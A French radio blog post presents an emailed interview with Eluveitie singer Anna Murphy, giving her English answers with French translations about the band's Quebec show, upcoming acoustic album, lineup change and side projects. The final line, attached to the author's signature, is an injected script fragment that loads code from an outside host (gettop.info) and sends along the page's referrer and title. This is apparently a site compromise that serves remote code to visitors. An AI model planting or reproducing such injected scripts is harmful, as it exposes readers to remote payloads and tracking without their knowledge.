Bonjour à vous tous !

Lors de la venue du groupe Eluveitie dans la vieille capitale, le 12 septembre dernier, nous devions interviewer Anna Murphy. À cause de quelques petits problèmes, l’entrevue n’a pu avoir lieu, mais Anna a tenue à nous répondre quand même par courriel.
Voici donc ce qu’Anna avait à répondre à nos questions.

(Les questions on été envoyées en français et en anglais et Anna nous a répondu en anglais, nous allons vous écrire en intégralité, ce qu’elle nous a répondu et nous allons également vous le traduire en français).

Ultimradio : Salut! Comment vas-tu ? 
Anna : A bit sick, but apart from that I’m okay.
Traduction : Un peu malade, mais autrement ça, je vais bien

Ultimradio : Premièrement, merci de nous donner de ton temps pour cette entrevue
Anna : No Problem!
Traduction : Pas de problème!

Ultimradio : L’an dernier, vous êtes venus donner un spectacle ici même à l’impérial de Québec et vous êtes déjà de retour après si peu de temps. On peut donc conclure que vous aimez la ville de Québec est-ce le cas ? Et si oui qu’aimez-vous de notre ville ?
Anna : We love playing shows in Quebec and also generally in Canada! The crowds are so energetic and supporting. It’s amazing that even after such a short time people still show up and enjoy our shows. It’s the highest honour for us. To be honest I haven’t seen much of the city itself, but what I saw was quite nice!
Traduction : Nous aimons donner des spectacles à Québec et généralement au Canada. Les foules sont tellement énergiques et encourageantes. C’est étonnant que même après si peu de temps, les gens se présentent et apprécient encore autant notre spectacle. C’est le plus grand honneur pour nous. Pour être honnête, je n’ai pas beaucoup vu la ville en elle-même mais de ce que j’ai vu, c’était très agréable.

Ultimradio : Votre dernier album ‘’Origins’’ est sorti l’an dernier. À la suite de son grand succès, avez-vous un nouvel album en préparation ? Si oui avez-vous une date de sortie approximative à nous donner ?
Anna : Yes, we’re currently working on the second part of « Evocation », our acoustic album. There is no release date fixed yet.
Traduction
 : Oui, nous travaillons présentement sur la deuxième partie de ‘’Evocation’’, notre album acoustique. Il n’y a pas de date de sortie pour le moment.

Ultimradio : Récemment, nous avons appris le départ de votre violoniste Nicole. Est-ce que ce départ est un choix personnel de Nicole ou c’est une décision de groupe ?
Anna : It was a personal choice of Nicole, we parted in good terms.
Traduction : C’était un choix personnel de la part de Nicole. Nous nous sommes quittés en bon terme.

Ultimradio : Donc vous êtes restés en bon terms. Sais-tu si Nicole a des plans solos de prévus?
Anna : Yes, we are. I wouldn’t know of any plans, but she’ll continue playing music for sure.
Traduction : Oui nous le sommes. Je ne connais pas ses plans, mais elle va continuer de jouer de la musique ça, c’est sûr.

Ultimradio : De votre côté, avez-vous trouvé quelqu’un pour la remplacer ?
Anna : Yes, we’re currently touring with Shir-Ran Yinon
Traduction : Oui, nous sommes présentement en tournée avec Shir-Ran Yinon.

Ultimradio : Sur votre dernier album ‘’Origins’’, vous avez une chanson appelée ‘’Call of the mountains’’. Vous l’avez aussi reprise en français avec le titre ‘’L’appel des montagnes’’. Vous l’avez même jouée l’an dernier ici même à Québec et également le 12 septembre dernier. Est-ce que sur votre prochain album, il est probable d’avoir une chanson en français?
Anna : I doubt that we’re going to do a song only in French. If we do it, then we’ll do it as a special version in all the Swiss national languages like we did with « The Call of the Mountains ».
Traduction
 : Je doute que nous fassions une chanson seulement en français. Si nous le faisons, nous la ferons en version spéciale dans toutes les langues nationales suisses, comme nous avons fait avec ‘’The Call of the Mountains’’.

Ultimradio : Depuis la création du groupe, vous avez produit plusieurs succès, mais quelle chanson préfères-tu le plus? Et pourquoi ?
Anna : My favourite Eluveitie songs probably aren’t the « hit songs », one of my favourites is « Uxellodunon » for instance. I also like songs like « Omnos » very much though.
Traduction
 : Mes chansons favorites d’Eluveitie, ne sont probablement pas les ‘’hits’’. Une de mes préférées, est ‘’Uxellodunon’’ par exemple. J’aime aussi beaucoup les chansons comme ‘’Omnos’’.

Ultimradio : À la base, le band était seulement un projet studio donc, vous n’étiez pas supposer donner de spectacles. Évidement les choses ont changé et vous faites maintenant des spectacles lives et vous avez même reçu le prix du meilleur spectacle live aux Swiss Music Awards. Qu’est-ce qui vous a fait changer d’idée et est-ce que vous appréciez encore ce choix ?
Anna : I don’t think anyone regrets this choice. It was just a natural turn of things, the band got asked to do shows and so we did and this is what happened in the end.
Traduction : Je ne pense pas que quiconque ne regrette ce choix. C’était seulement une tournure naturelle des choses. Le band a reçu des demandes pour donner des concerts, alors nous en avons fait. C’est ce qui se passe depuis ce temps-là.


Ultimradio : Vous décrivez votre groupe comme étant ‘’the new wave of Folk Metal’’. Pourquoi vous vous décrivez ainsi ?

Anna : It’s not 100% serious, but we just like the sound of it and think it’s a good slogan
Traduction : Ce n’est pas sérieux à 100%, mais nous aimons le son que ça donne et nous pensons que c’est un bon slogan.

Ultimradio : Est-ce qu’il y a des groupes qui vous influencent au niveau musical ? Si oui lesquels et pourquoi ?
Anna : I think tons of bands influenced us subconsciously, but not directly. I couldn’t name any for instance… but we all listen to lots of different music and of course it influences us in many different ways.
Traduction :
Je pense qu’il y a une tonne de groupes qui nous influencent inconsciemment, mais pas directement. Je ne pourrais pas en nommer pour des exemples, mais nous écoutons tous beaucoup de styles différents de musique et bien sûr, ça nous influencent de plusieurs façons.

Ultimradio : Beaucoup d’entre vous avez des projets solos et jouez dans d’autres bands, autre qu’Eluveitie. De votre côté, avez-vous un projet solo en préparation ou en cours ?
Anna : Yes, at the moment I’m working on the new « Lethe » album. It’s a project I’m doing together with Tor-Helge Skei from Norway. Apart from that I have my solo project (Anna Murphy) and « Fräkmündt » (Swiss folk music) that I’m working on as well.
Traduction
 : Oui,à ce moment, je travailel sur le nouvel album de ‘’Lethe’’. C’est un projet que je fais avec la participation de Tor-Helge Skey, du groupe Norway. À part de ça, j’ai mon projet solo ‘’Anna Murphy’’ et aussi ‘’Fräkmündt’’ (Musique Folk suisse) sur lesquels je travaille aussi présentement.

Ultimradio : Au cours des dernières années, vous avez donné plusieurs spectacles un peu partout sur la planète. Quel est, pour vous, votre endroit préférée et pourquoi ?
Anna : Personally I like touring North America & Japan the most. But I love it everywhere.
Traduction
 : Personnellement, mes endroits préférés quand je suis en tournée, sont en Amérique du Nord, et au Japon. Mais j’aime quand même tous les endroits que je visite.

Ultimradio : C’est tout pour aujourd’hui ! Je vous remercie beaucoup de nous avoir accordé ce temps ! En espérant vous voir à nouveau à Québec dans un futur rapproché.
Anna : Cheers!
Traduction
 : Merci et Salutations!

C’est donc sur ce, que la petite entrevue rapide ce termine.
Nous aurions aimé vous présenter une interview complète, avec vidéo, mais étant donné le petit problème, il en est autrement. Au moins nous avons eu les réponses d’Anna et nous vous les avons montrées avec plaisir.

Continuez de suivre Ultimradio et parlez-en à vos familles, proches et/ou amis.

Rock On !

Christopher!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;